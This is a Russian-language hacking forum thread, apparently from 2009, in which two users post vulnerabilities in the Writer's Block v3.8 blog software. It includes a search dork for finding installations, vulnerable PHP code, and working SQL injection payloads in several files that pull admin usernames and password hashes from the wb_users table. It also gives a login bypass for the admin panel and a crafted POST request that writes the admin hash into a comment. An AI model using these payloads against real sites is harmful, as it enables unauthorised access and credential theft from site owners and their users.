PDA

Просмотр полной версии : Уязвимости Writer's Block v3.8


Iceangel_
30.04.2009, 10:22
Уязвимости Writer's Block v3.8
download: http://www.desiquintans.com/writers-block/downloads/writersblock-current.zip
dork: "Published by Writer’s Block"

SQL-injection

1) archive.php (требования: magic_quotes=off)
уязвимый код:

if(isset($_GET['cat'])) {
## Check if category exists
$check = strpos($_GET['cat'], '+'); //это, какбе, защита от инъекций, походу =)
$check .= strpos($_GET['cat'], '%20'); //
if(!$check) {
$getinfo = mysql_query("SELECT PCatID, PostCatName, PostDesc FROM ".POSTCAT_TBL." WHERE PostCatUrl='".$_GET['cat']."'");
}


эксплуатирование:
archive.php?cat=-1'/**/union/**/select/**/1,concat_ws(0x3a,UserName,Password),3/**/from/**/wb_users/*



2) /admin/cat.php (требования: доступ в админ панель)
уязвимый код:

elseif ($_GET['action'] == 'edit') {
if (isset($_GET['PCatID'])) {
## Edit post category
$pagetitle = 'Edit Post Category';
include ('include/head.htm');

$retrieve = mysql_query ("SELECT * FROM ".POSTCAT_TBL." WHERE PCatID=".$_GET['PCatID']);

эксплуатирование:
в этой инъекции мк=офф уже не обязательно, но в админку еще попасть надо =)...
admin/cat.php?action=edit&PCatID=1+union+select+1,2,3,version(),5--


Bypass (требования: magic_quotes=off)
уязвимый код:
/admin/login.php

if($_POST['login']) {
$error = NULL;
if(empty($_POST['username']) or strpos($_POST['username'], ' ')) {
$u = FALSE;
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid username.</p>';
} else {
$u =& $_POST['username'];
}
if(empty($_POST['password']) or strpos($_POST['password'], ' ')) {
$p = FALSE;
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid password.</p>';
} else {
$p =& $_POST['password'];
}

if($u and $p) {
$get_user_auth = mysql_query("SELECT UserID, UserName, Password FROM ".USERS_TBL." WHERE UserName='$u' AND Password='".md5($p)."'");


эксплуатирование:
идем в /admin/login.php и вбиваем:

Username:'/**/or/**/1=1/*
Password:<any symbols without space>

RulleR
29.12.2009, 20:06
Version: 3.8

SQL Injection

Vuln file: articles.php
/*...*/
if(isset($_GET['page'])) {
## Check if the Anypage exists
$check = strpos($_GET['page'], '+');
$check .= strpos($_GET['page'], '%20');
if(!$check) {
$showpage = mysql_query("SELECT Title, Subheading, PageDesc, PageBody, AnyCat1, AnyCat2, AnyCat3, AnyCat4, Author, Timestamp FROM ".ANYPAGE_TBL."
WHERE UrlName='".$_GET['page']."'");
}
/*...*/
Exploit:http://[host]/[path]/articles.php?page=1'+union+select+null,concat_ws(0 x3a,UserName,Password),null,null,null,null,null,nu ll,null,null+from+wb_users+where+UserID=1+--+

Vuln file: permalink.php
/*...*/
$comment_sent = mysql_query("INSERT INTO ".COMMENTS_TBL." (PostID, Name, Email, Url, Body, Timestamp) VALUES
('".$_POST['PostID']."', '".strip_tags($_POST['name'])."', '".strip_tags($_POST['email'])."', '$url', '".nl2br($comment)."',
'".time()."')");
/*...*/
Exploit:
POST http://[host]/[path]/permalink.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

PostID=1
&name=Antichat.ru
&email=admin@lol.lol
&url=xek',(select concat_ws(0x3a,UserName,Password) from wb_users where UserID=1),'A')/*
&comment=Hello World
&submit=Say%20thisсмотрим логин:хэш админа в комментах

Для успешной эксплуатации уязвимостей необходимо:
magic_quotes = OFF